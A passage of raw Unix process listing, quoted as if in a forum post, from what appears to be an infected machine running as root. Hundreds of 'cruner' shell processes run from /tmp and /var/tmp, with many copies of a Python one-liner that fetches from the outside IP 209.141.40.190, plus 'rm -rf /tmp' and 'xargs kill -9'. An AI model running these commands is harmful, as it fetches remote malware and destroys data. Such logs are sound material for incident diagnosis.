0:01 sh /var/tmp/cruner > root 28905 4386 0 15:45:18 ? 0:00 sleep 60 > root 15859 16541 0 15:44:25 ? 0:00 bash -sh > root 23409 21300 0 15:43:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23506 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22723 1 0 21:56:52 ? 0:00 sh /var/tmp/cruner > root 12567 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20943 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17586 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1955 27266 0 15:45:48 ? 0:00 sleep 60 > root 11523 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23182 21679 0 15:46:01 ? 0:00 bash -sh > root 27485 29923 0 15:45:43 ? 0:00 xargs kill -9 > root 7566 6983 0 15:45:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13741 16347 0 15:43:11 ? 0:00 bash -sh > root 29506 29634 0 15:44:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7184 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1869 21472 0 15:45:00 ? 0:00 xargs kill -9 > root 27193 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23550 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24815 20711 0 15:44:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21493 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18660 10857 0 15:45:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7435 25429 0 - ? 0:00 <defunct> > root 2338 6506 0 - ? 0:00 <defunct> > root 15506 27863 0 15:45:46 ? 0:00 bash -sh > root 18874 1 0 22:23:25 ? 0:00 sh /var/tmp/cruner > root 2680 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24681 21689 0 15:44:32 ? 0:00 bash -sh > root 16536 18954 0 15:45:51 ? 0:00 bash -sh > root 9054 17655 0 15:45:59 ? 0:00 sleep 60 > root 2132 2437 0 15:45:19 ? 0:00 sleep 60 > root 19597 18337 0 15:44:53 ? 0:00 bash -sh > root 7170 17813 0 15:45:20 ? 0:00 sleep 60 > root 9919 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14696 11243 0 15:45:51 ? 0:00 bash -sh > root 4167 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4973 2309 0 15:44:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4785 3672 0 - ? 0:00 <defunct> > root 10072 20168 0 15:46:03 ? 0:00 bash -sh > root 1904 2581 0 15:45:14 ? 0:00 bash -sh > root 15743 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21201 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12758 15854 0 15:45:16 ? 0:00 sleep 60 > root 4868 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3801 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12704 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1262 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27756 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22196 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7956 29989 0 15:45:45 ? 0:00 bash -sh > root 11960 11925 0 15:45:41 ? 0:00 bash -sh > root 3712 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21661 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19756 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3196 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22310 28865 0 15:44:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21820 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1135 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23824 20758 0 15:45:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4912 7335 0 - ? 0:00 <defunct> > root 21263 23386 0 15:45:06 ? 0:00 bash -sh > root 10988 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1399 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18071 16505 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8474 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4590 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19302 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7335 355 0 15:44:13 ? 0:00 bash -sh > root 9614 11545 0 - ? 0:00 <defunct> > root 25376 22004 0 15:44:20 ? 0:00 bash -sh > root 18107 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8838 3680 0 15:45:25 ? 0:00 sleep 60 > root 91 23396 0 15:45:27 ? 0:00 sleep 60 > root 5861 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23022 6919 0 15:45:47 ? 0:00 xargs kill -9 > root 23689 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21722 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29393 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3772 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14208 9483 0 15:45:05 ? 0:00 bash -sh > root 20580 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9849 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22908 25612 0 - ? 0:00 <defunct> > root 28187 27131 0 15:45:07 ? 0:00 bash -sh > root 16332 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3299 17606 0 15:45:15 ? 0:00 bash -sh > root 22405 28149 0 15:46:01 ? 0:00 sleep 60 > root 3138 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3324 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15706 19622 0 15:45:06 ? 0:00 sleep 60 > root 24980 16762 0 15:44:54 ? 0:00 bash -sh > root 18994 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14698 1493 0 15:44:52 ? 0:00 bash -sh > root 3637 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6227 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 30 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21160 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 1407 29674 0 - ? 0:00 <defunct> > root 23260 21431 0 15:45:02 ? 0:00 bash -sh > root 14868 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10652 11520 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28332 1780 0 - ? 0:00 <defunct> > root 10021 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24975 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11062 27738 0 15:45:15 ? 0:00 bash -sh > root 15574 28680 0 15:45:37 ? 0:00 sleep 60 > root 23014 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6100 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15025 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9365 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16636 21871 0 - ? 0:00 <defunct> > root 21267 21227 0 15:45:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17218 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2900 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19250 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20808 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12452 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 25637 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6411 11920 0 15:45:44 ? 0:00 bash -sh > root 28559 3857 0 - ? 0:00 <defunct> > root 28306 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22208 21763 0 - ? 0:00 <defunct> > root 21968 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2741 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22040 1909 0 15:46:01 ? 0:00 sleep 60 > root 24813 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24985 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11959 19982 0 15:44:51 ? 0:00 bash -sh > root 25744 24366 0 15:43:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9791 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26161 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25158 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5052 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12851 19456 0 15:45:36 ? 0:00 bash -sh > root 25059 15459 0 - ? 0:00 <defunct> > root 26600 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25375 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16767 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28699 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11448 27108 0 15:45:25 ? 0:00 sleep 60 > root 903 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16924 15936 0 15:44:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11791 28054 0 15:45:59 ? 0:00 bash -sh > root 12356 18297 0 15:45:11 ? 0:00 sh /tmp/cruner > root 27015 15821 0 15:46:02 ? 0:00 bash -sh > root 7136 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25916 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27036 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19940 29665 0 15:45:29 ? 0:00 sleep 60 > root 5606 21929 0 15:45:49 ? 0:00 bash -sh > root 12506 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 28374 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3448 1 0 21:29:20 ? 0:00 sh /tmp/cruner > root 19935 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16030 28219 0 - ? 0:00 <defunct> > root 25433 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26459 10894 0 15:45:34 ? 0:00 sleep 60 > root 12618 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18990 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15156 28147 0 - ? 0:00 <defunct> > root 28671 28489 0 15:44:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14264 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5366 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16987 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28729 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13062 28656 0 15:45:21 ? 0:00 sleep 60 > root 13224 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 2747 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1444 6908 0 15:45:19 ? 0:00 bash -sh > root 13637 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20155 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12207 3920 0 15:43:20 ? 0:00 bash -sh > root 16732 25333 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 20905 16725 0 15:45:42 ? 0:00 bash -sh > root 22637 22269 0 15:45:42 ? 0:00 sleep 60 > root 2454 9071 0 15:44:28 ? 0:00 bash -sh > root 28424 9017 0 - ? 0:00 <defunct> > root 18985 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 6741 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3900 19381 0 15:44:22 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20 18826 0 - ? 0:00 <defunct> > root 28140 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20380 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 19534 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17088 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5663 12029 0 15:45:54 ? 0:00 bash -sh > root 29039 21760 0 15:42:51 ? 0:00 bash -sh > root 15917 14858 0 - ? 0:00 <defunct> > root 8920 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2960 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5842 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20029 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6693 7308 0 15:45:35 ? 0:00 sleep 60 > root 23319 8993 0 15:45:33 ? 0:00 bash -sh > root 12770 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7903 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18532 18388 0 15:44:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4660 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10339 29551 0 15:45:10 ? 0:00 sleep 60 > root 7467 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4272 7609 0 15:45:48 ? 0:00 sleep 60 > root 4620 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3028 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13736 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27325 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29282 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25600 1 0 20:05:03 ? 0:00 sh /var/tmp/cruner > root 347 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27516 17850 0 15:46:02 ? 0:00 bash -sh > root 15365 1739 0 15:44:52 ? 0:00 bash -sh > root 12794 5316 0 15:44:04 ? 0:00 bash -sh > root 5488 13613 0 15:45:20 ? 0:00 sleep 60 > root 6162 27378 0 15:45:40 ? 0:00 /bin/ksh -p /bin/kill -9 > root 28520 28435 0 15:45:34 ? 0:00 sleep 60 > root 16967 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25857 13731 0 15:45:52 ? 0:00 bash -sh > root 26941 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24274 23553 0 - ? 0:00 <defunct> > root 4796 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23298 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10899 10858 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7735 16580 0 15:45:36 ? 0:00 sleep 60 > root 6194 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 999 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 10190 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23773 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16382 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24958 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23134 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5265 28047 0 15:44:13 ? 0:00 bash -sh > root 23391 23390 0 15:45:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2488 1286 0 15:45:14 ? 0:00 bash -sh > root 27148 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24776 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1030 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28654 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16873 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21930 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16298 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 926 905 0 15:45:44 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19861 13983 0 15:45:38 ? 0:00 bash -sh > root 14358 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20716 21774 0 15:45:06 ? 0:00 bash -sh > root 489 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21226 2239 0 15:44:53 ? 0:00 bash -sh > root 2484 28782 0 - ? 0:00 <defunct> > root 14523 23304 0 15:44:52 ? 0:00 bash -sh > root 28121 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7055 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2136 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26749 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4648 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19523 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6968 27763 0 15:45:28 ? 0:00 sleep 60 > root 20297 29893 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 17810 29529 0 15:46:04 ? 0:00 xargs kill -9 > root 14822 11575 0 15:43:11 ? 0:00 bash -sh > root 14024 22435 0 15:45:37 ? 0:00 bash -sh > root 16622 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13528 19597 0 - ? 0:00 <defunct> > root 7609 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 16903 8323 0 15:46:04 ? 0:00 sh /tmp/cruner > root 17045 16659 0 15:45:42 ? 0:00 xargs kill -9 > root 12705 5633 0 15:45:41 ? 0:00 sleep 60 > root 18568 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12966 12891 0 15:45:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11071 15495 0 - ? 0:00 <defunct> > root 1725 29349 0 15:45:35 ? 0:00 xargs kill -9 > root 2950 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9796 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5681 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1613 9061 0 15:45:35 ? 0:00 xargs kill -9 > root 1858 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 15569 9346 0 - ? 0:00 <defunct> > root 28404 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 960 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11132 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8565 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 59 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20279 17411 0 15:45:12 ? 0:00 sh /tmp/cruner > root 16588 7938 0 15:44:17 ? 0:00 bash -sh > root 9970 3905 0 15:45:28 ? 0:00 sleep 60 > root 13932 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16139 23764 0 15:44:30 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16893 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9603 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10827 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16944 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14283 20500 0 - ? 0:00 <defunct> > root 8482 16954 0 15:45:10 ? 0:00 bash -sh > root 7074 22323 0 15:43:18 ? 0:00 bash -sh > root 26332 3980 0 - ? 0:00 <defunct> > root 8283 24911 0 - ? 0:00 <defunct> > root 14157 18058 0 15:45:11 ? 0:00 bash -sh > root 11124 25102 0 - ? 0:00 <defunct> > root 18045 13642 0 - ? 0:00 <defunct> > root 4266 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20031 23885 0 15:45:06 ? 0:00 sleep 60 > root 20483 16526 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 9833 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21619 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15081 14065 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 14236 29408 0 - ? 0:00 <defunct> > root 2546 2547 0 15:45:48 ? 0:00 sleep 60 > root 19303 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9467 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1322 13330 0 - ? 0:00 <defunct> > root 20403 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5565 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 733 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1122 1 0 22:21:49 ? 0:00 sh /var/tmp/cruner > root 18851 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28527 25494 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 4825 7438 0 - ? 0:00 <defunct> > root 22931 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6798 24164 0 15:45:04 ? 0:00 bash -sh > root 9396 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 325 39 0 15:45:34 ? 0:00 sleep 60 > root 18666 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22502 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 15561 20346 0 - ? 0:00 <defunct> > root 21871 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2036 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8589 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17021 21226 0 15:45:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7402 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12767 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 811 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6750 1954 0 15:45:49 ? 0:00 sleep 60 > root 9430 4881 0 15:45:15 ? 0:00 bash -sh > root 1195 23612 0 15:45:27 ? 0:00 sleep 60 > root 18560 28024 0 15:46:04 ? 0:00 rm -rf /tmp > root 23171 14846 0 15:45:47 ? 0:00 bash -sh > root 9010 22038 0 15:45:40 ? 0:00 sh /var/tmp/cruner > root 25951 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6224 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14872 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18490 20533 0 - ? 0:00 <defunct> > root 16795 6586 0 15:45:06 ? 0:00 sleep 60 > root 15552 15381 0 15:46:00 ? 0:00 bash -sh > root 15264 17413 0 15:45:11 ? 0:00 bash -sh > root 6453 29145 0 15:45:40 ? 0:00 sleep 60 > root 23719 29364 0 - ? 0:00 <defunct> > root 17859 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27024 22279 0 15:46:02 ? 0:00 bash -sh > root 12957 1 0 18:06:05 ? 0:01 sh /var/tmp/cruner > root 7823 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18653 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12409 25246 0 - ? 0:00 <defunct> > root 5690 15312 0 15:45:15 ? 0:00 sleep 60 > root 29031 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26943 14506 0 - ? 0:00 <defunct> > root 9731 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16615 16251 0 - ? 0:00 <defunct> > root 17361 6110 0 15:44:44 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6069 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10126 14311 0 15:46:03 ? 0:00 bash -sh > root 2059 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9122 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3957 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28136 2982 0 - ? 0:00 <defunct> > root 4596 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9446 18019 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 20848 20778 0 15:45:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26593 9971 0 15:43:15 ? 0:00 bash -sh > root 3132 5343 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 23553 7011 0 15:44:54 ? 0:00 bash -sh > root 20564 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28101 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20705 4706 0 15:45:12 ? 0:00 bash -sh > root 12012 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1568 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16269 16265 0 15:45:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26572 13758 0 - ? 0:00 <defunct> > root 3201 3217 0 15:45:28 ? 0:00 sleep 60 > root 21683 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18151 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5986 14582 0 15:45:09 ? 0:00 bash -sh > root 9501 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10810 5924 0 15:45:21 ? 0:00 sleep 60 > root 27548 14150 0 15:46:02 ? 0:00 sh /tmp/cruner > root 23116 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9033 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14131 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29397 29395 0 15:45:24 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14839 23839 0 - ? 0:00 <defunct> > root 25484 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24474 20515 0 15:45:07 ? 0:00 sleep 60 > root 18233 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17333 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17956 28849 0 15:45:37 ? 0:00 bash -sh > root 14567 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13033 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29120 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8380 11528 0 - ? 0:00 <defunct> > root 21960 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20493 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4465 29650 0 - ? 0:00 <defunct> > root 3405 1 0 23:11:10 ? 0:00 sh /var/tmp/cruner > root 6032 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14931 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4375 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17772 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1475 12247 0 15:45:31 ? 0:00 sleep 60 > root 6346 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 7521 6411 0 15:45:58 ? 0:00 xargs kill -9 > root 9476 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27512 19746 0 15:45:34 ? 0:00 xargs kill -9 > root 9477 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21643 21254 0 15:45:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3843 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9822 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18442 21114 0 15:44:57 ? 0:00 bash -sh > root 8190 587 0 15:44:24 ? 0:00 bash -sh > root 23874 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16699 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20594 15197 0 15:45:56 ? 0:00 xargs kill -9 > root 29615 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 437 16216 0 15:45:58 ? 0:00 sleep 60 > root 10313 12805 0 15:45:59 ? 0:00 sleep 60 > root 26806 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25313 19341 0 15:45:07 ? 0:00 bash -sh > root 21204 29615 0 15:45:42 ? 0:00 sleep 60 > root 18761 2747 0 15:44:48 ? 0:00 bash -sh > root 29879 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11017 25519 0 15:43:19 ? 0:00 bash -sh > root 740 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23912 18210 0 - ? 0:00 <defunct> > root 26845 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21272 7384 0 15:45:02 ? 0:00 bash -sh > root 29826 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 1952 7947 0 15:45:48 ? 0:00 sleep 60 > root 13219 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13914 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4843 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4607 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26710 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 363 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20837 20828 0 15:45:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11611 15188 0 15:44:15 ? 0:00 bash -sh > root 21375 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22420 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27140 24213 0 15:46:02 ? 